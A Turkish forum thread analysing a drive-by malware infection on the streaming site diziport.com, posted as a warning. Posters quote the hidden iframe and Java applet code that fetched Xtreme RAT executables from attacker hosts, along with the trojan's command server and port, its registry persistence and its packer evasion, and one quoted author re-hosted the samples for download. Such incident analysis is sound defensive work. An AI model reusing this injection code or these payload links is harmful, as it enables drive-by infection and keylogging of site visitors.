yardım/sahtekarlık bildir Sorularınızı cilginsigortaci@gmail.com a yazabilirsiniz cevaplar facebook sayfasında >>> facebook.com/cilginsigortaci

diziport.com da kaldırıldı downloader düzeneği. Kruis;"Kodlarda bir adres içerisinde java ynlendirmesi konulmuş. Sayfaya giren başka bir sunucudaki bu jar uzantılı JAVA Downloader'i çağırmakta. Sisteminde JAVA kurulu bilgisayar kullanıcıları bu jarı çalıştırdığında otomatik olarak daha başka bir sunucudaki Trojan Downloaderi sistemde aktif olan jar dosyasının kendisini adı yanlış hatırlamıyorsam rundll32. exe olarak kullanıcı adı klasrüne dosya oluşturup bu Trojan Downloaderi çağırmasıyla oluşmakta. Trojan Downloader aktif oluncada appdata ve system32 klasrüne kendini kopyalayıp ve kayıt defterinde gerekli ayarlamaları yapıp uzaktan bağlantı sağlamaktadır. exeyi biraz inceleyince xtreme rat olduğu ortaya çıktı. stapler4445. no-ip. org bu adrese bilgisayarınızdaki veriler gitmektedir. Kullandığı port 3361 dir. Java downloader yani jar uzantılı dosyayı serverdan silmiş. Fakat Trojan Dosyaları halen aktif. Aşağıda Bilgisayara indirilen Trojan Downloaderin kaynak linklerini veriyorum. Yanlışlıkla tıklamamanız için http://www yerine hxxp://wxw yazdım. hxxp://wxw. medyaturk24.com/java/java. exehxxp://wxw. medyaturk24.com/java/sinan. exehxxp://wxw. medyaturk24.com/java/82. exehxxp://wxw. medyaturk24.com/java/83. exehxxp://wxw. medyaturk24.com/java/84. exehxxp://wxw. medyaturk24.com/java/85. exehxxp://wxw. medyaturk24.com/java/86. exehxxp://wxw. medyaturk24.com/xtreme. exe Bu sadece bir kaçı bu ve benzeri sitelerde Java Downloader veya doğrudan çalışan Downloader koyan kişiler çok. Hatta 2005 -2007 senelerinde okadar meşhurdiki daha güvenlik yazılımları bu konuda kendilerini geliştirememiş ve bir çok isim yapmış sitelere giren kullanıcılar zombie olarak kullanılmıştır." bu diziport.com un bilgisi dışında mı yapıldı yoksa kendileri mi yaptı merak konusu :) ne diyon?

: Jchan bunu yazdı: Sistemde birşey yapabilmesi için java applet'in nce bizden onay istemesi gerekmiyor mu? Şuna bir açıklık getirmek lazım. Bende tam emin değilim ama sanırım şu şekilde: Eğer bilgisayarında java yüklü ise sormadan direk yüklüyor. Eğer java yüklü değil ise ekranda bir popup çıkar sanırım. -ki dizi sitesine giren bir kişide de yüksek ihtimalle java yüklüdür. Java yüklü ve uyarı çıkmıyorsa pencerede o zamanda bilgisayarın grev çubuğunda java çalıştığında bir popup çıkar herhalde.. Iki cesit java downloader var. Sorgusuz olan da popup cikmaz calistirayim mi diye sormaz direk calisir ki diziporta atilanda boyledir muhtemelen. Sorgulu olanda tahmin ettiginiz gibi calistirmak icin uyari goruntuler. gl

açıklama yapmışlar saldırı yedik diye.. # birikimini nyargı ve yalanlara hizmet etmek için kullanan kültürlü bir insan olmaktansa maymundan gelmeyi tercih ederim.

geçen bulamamıştı nod32, kaldırdım yeni sürümü yükledim bu tespit etti.. Eset Smart Security 5..

norton var yakalandı.

hangi av ler tanımlıyor şu an.. ? çok uzakta uzak denizlerde...

daha bu sabah tesadüfen bir tweet sayesinde olayı grdüm. incelenmesi ve sonuçlarına gre hareket edilmesi gerekilen bir durum.. kaynak : http://www.eksisozluk.com/show. asp?id=26061448 alıntı : "windows bilgisayarlarda cok yuksek ihtimalle bir virus calistiran bir sitedir. evet, kullanicilarin klavyelerinde bastiklari her tusu nasil bir sey yaptiklarini birlikte gorelim. sitenin kaynak kodunda, kod 1 <a href="http://twitter.com/diziport" title="" style="font-size:12px;"><iframe name="java" src="www.metinozdogan.com.tr/java/" width="1" height="1" scrolling="no" frameborder="0" marginwidth="0" marginheight="0"></iframe></a> kod 1 seklinde bir satir var. bunun yaptigi sey, siz sitenizi acinca tarayicida gorunmeyen bir pencerede metin ozdogan'in sitesinden kodda gorulen sayfayi cagiriyor. peki bu sayfada ne var? "www.metinozdogan.com.tr/java/client. jar" seklinde bir java applet'i yukleyen bir kod. kod 2 <applet code='javaupdater. class' width='1' height='1' archive='www.metinozdogan.com.tr/java/client. jar'><param name="url" value="www.medyaturk24.com/java/java. exe" /></applet> kod 2 peki bu client. jar'in icinde ne var diyorsaniz, indirip decompile edip gorelim. icinden javaupdater. class cikiyor. hatta bakin ne guzel, hazir yapilmisi var: kod 3 http://pastebin.com/bmfv8xfp kod 3 peki bu java kodu ne yapiyor biraz aciklayacak olursak,1) c:\documents and settings\kullaniciadiniz\rundll32. exe seklinde, sistem dosyasi gibi gorunen ama aslinda sistem dosyasi olmayan bir dosya yaratiyor.2) sonra kod 2'deki url parametresinde yazan www.medyaturk24.com/java/java. exe dosyasini bilgisayariniza indiriyor ve bu dosyayi iste o rundll32. exe'nin icine yazip bilgisayara koyuyor.3) sonra da bu internetten indirdigi dosyayi bilgisayarinizda calistiriyor. (kod 3, satir 50). http://www.medyaturk24.com/java/ adresine gittiginizde muhtemelen daha once kullandiklari virusleri bulabiliyorsunuz. (82. exe 83. exe 84. exe 85. exe java. exe)olur da silinir diye, butun bu dosyalari zipleyip http://ge. tt/9dzsvf9 adresine koydum. link expire olursa isteyen yazarlar mesaj atabilirler tekrar koyarim. java. exe adiyla gorunen dosyanin ne yaptigini benden daha tecrubeli reverse engineer'lara birakiyorum. sanirim emrah beyazkaya simdi bize bir aciklama borclu, kim bu metin ozdogan, ne bu medyaturk'ten cekilen java. exe ve neden insanlarin bilgisayarlarinda calistiriliyor. saygilar. devami unpacked adli sozluk yazarindan geliyor, helal olsun adam ugrasmis. spoiler java. exe sunlari yapiyor:enigma protector isimli bir yazılımla uygulamayı şifreleyerek antivirüslerden kaçmaya çalışmış ama pek başarılı olamamış sağlam antivirüsler tanıyor hatta 2 kere şifreleme yapılmış. nce aspack isimli uygulama ile . sonra onu temp klasrüne çıkarıp çalıştıracak dosyayı da enigma ile şifrelemiş. bilgisayara uzaktan erişmeyi sağlayan bir trojan bu. tipik trojan hareketi olarak kendini varsayılan tarayıcı gibi gsteriyor processlerde. ayrıca tarayıcı kapanırsa diye yedek olarak svchost. exe'nin de içine giriyor. kendini c:\?windows\?system32\?installdir\?nod. exe olarak kopyalıyor ve bunu bilgisayar başlangıcında açılacak şekilde ayarlıyor. bu büyük ihtimal uac etkin olan sistemlerde c:\users\user\appdata\roaming\nod. exe olur. yine klasik trojan hareketi olarak registry'de local machine ve current user/software/microsoft/currentversion/run ve local machine/software/microsoft/?active setup/?installed components yerlerine yazarak yapıyor başlangıçta açılma ayarını. installed components altındaki keyi? yalnız bu başlangıç bilgilerini trojan çalışırken silmek işe yaramaz. yeniler sürekli. nce nod. exe kaldırılmalı.trojan sahibine ulaşmak için stapler4445. no-ip. org adresinden ip bilgisini alıyor. o dns adresi trojanın sahibinin bağlantısını açıp kapadığında falan değişen ip adresini güncel olarak tutuyor. işte trojan da o ip adresine bağlanıp sahibinin listesinde bağlanılabilir olarak grülüyor. kullandığı port 3361. keylog bilgilerini yani bastığın her tuşun kaydedildiği dosya c:\documents and settings\user\application data\microsoft\windows\uwcuemzbapecg. dat burada tutuluyor bu vista ve üzerinde değişir tabi. c:\users\user\appdata\ içinde bir yerlerde olur. şu uwcuemzbapecg kısmı da bilgisayara gre değişebilir bir ihtimal. spoiler onemli not: buyuk ihtimal bu siteye windows makinayla girdiyseniz virus kapmissiniz demektir. guncel bir anti-virus tarayici program isinizi gorecektir. bilgisayariniza full tarama yapin mumkunse." # birikimini nyargı ve yalanlara hizmet etmek için kullanan kültürlü bir insan olmaktansa maymundan gelmeyi tercih ederim.

: hangi av ler tanımlıyor şu an.. ? okulun yazılım suitlerinde full mcafee vardı ben onunla buldum rundll'leri. Jchan bunu yazdı: Sistemde birşey yapabilmesi için java applet'in nce bizden onay istemesi gerekmiyor mu? herhangi bir şeyi onayladığımı hatırlamıyorum :/ # birikimini nyargı ve yalanlara hizmet etmek için kullanan kültürlü bir insan olmaktansa maymundan gelmeyi tercih ederim.

evet hoca ben kendi bilgisayarımda bir şey bulamadım zaten kullanmıyordum ama evdeki diğer bilgisayarda tespit etti dediği yerlerde dosyaları. şimdi en baştan taratıp temizliyorum. içime sinmezse de format atmayı düşünüyorum. # birikimini nyargı ve yalanlara hizmet etmek için kullanan kültürlü bir insan olmaktansa maymundan gelmeyi tercih ederim.

Olabilirde olmayabilirde, Zamanında cyberhaber.com baya hit alıyodu bekir siteyi crackliyor ama hacklemiyo siteye kendi kodunu koyuyor. Millet site adminine kayıo, tam olarak naptığı hakkında bilgim yok hatırlamıyorum ama siteye kendi kodunu koyduğu doğrudur. Buda byle birşey olabilir belkide admin kendi koymuştur. Şimdi işler byle dnüyor millet büyük siteleri crackliyor ama hacklemiyor kendi kodlarını yapıştırıyor:) küfrederiz villalara kulübeden

hep diyorum browser pluginlerini disable yapin kullanacaginiz zaman aktif edin. az insan çok huzur.

nceden girdiğinizde avlerin tanımaması çok normal çünkü exeler fud haldeydi şimdi ise public olduğu için avler tarafından tanınır hale geldi o yüzden şuanda tanıyor dowloaderi indiren varmı inceleyelim bari :) ZzZzZzZ...!

güncel keyli kis kullanıyorum. bahsettiğin linklere bastım virüsü tespit etti. fakat sitelerine ortalama 3 - 4 gün nce girdiğimde herhangi bir tespitte bulunmadı. yani, ya siteye girer girmez çalışmıyor bu, yada bu son 2 günde felan koyup kaldırdılar. zaten eksi de de konu dün açılmış sanırsam. Yeni bir iş, yeni bir aş, yeni bir hayat. Sil baştan başlamak gerek bazen modunda. Artık buralarda yokum :) Hepinizi seviyorum, muck.

wardom.com a girdiğimde.com.tr değil sadece.com java felan çıkıyor saatin orda bakarmısınız problemli biriey varmı diye http://www.youtube.com/watch?v=OH4eOQ6ZI0Q - - - - - http://www.youtube.com/watch?v=TqErNP20gpI - - - - - https://www.youtube.com/watch?v=fhr5UBZh1rY

Sistemde birşey yapabilmesi için java applet'in nce bizden onay istemesi gerekmiyor mu?

noscripti bu yüzden seviyorum..

: Sistemde birşey yapabilmesi için java applet'in nce bizden onay istemesi gerekmiyor mu? Hayır. Bu arada konuyl alakasız ama an itibariyle google,'da "stapler4445" i ararsanız Tahribatın ne kadar çabuk indexlendiğini grebilirsiniz, sozlukteki konu hala indexlenmemiş! Sevmem yazmayı, okumayı sevdiğim kadar.

Nod32 var bende tarattım bişey bulamadı, geçenlerde girmiştim.. kaspersky mi indirsem acep

: Sistemde birşey yapabilmesi için java applet'in nce bizden onay istemesi gerekmiyor mu? Şuna bir açıklık getirmek lazım. Bende tam emin değilim ama sanırım şu şekilde: Eğer bilgisayarında java yüklü ise sormadan direk yüklüyor. Eğer java yüklü değil ise ekranda bir popup çıkar sanırım. -ki dizi sitesine giren bir kişide de yüksek ihtimalle java yüklüdür. Java yüklü ve uyarı çıkmıyorsa pencerede o zamanda bilgisayarın grev çubuğunda java çalıştığında bir popup çıkar herhalde..

: hangi av ler tanımlıyor şu an.. ? Kaspersky dün birseyler yakaldi sildi :) updater diye geliyor Sandokhan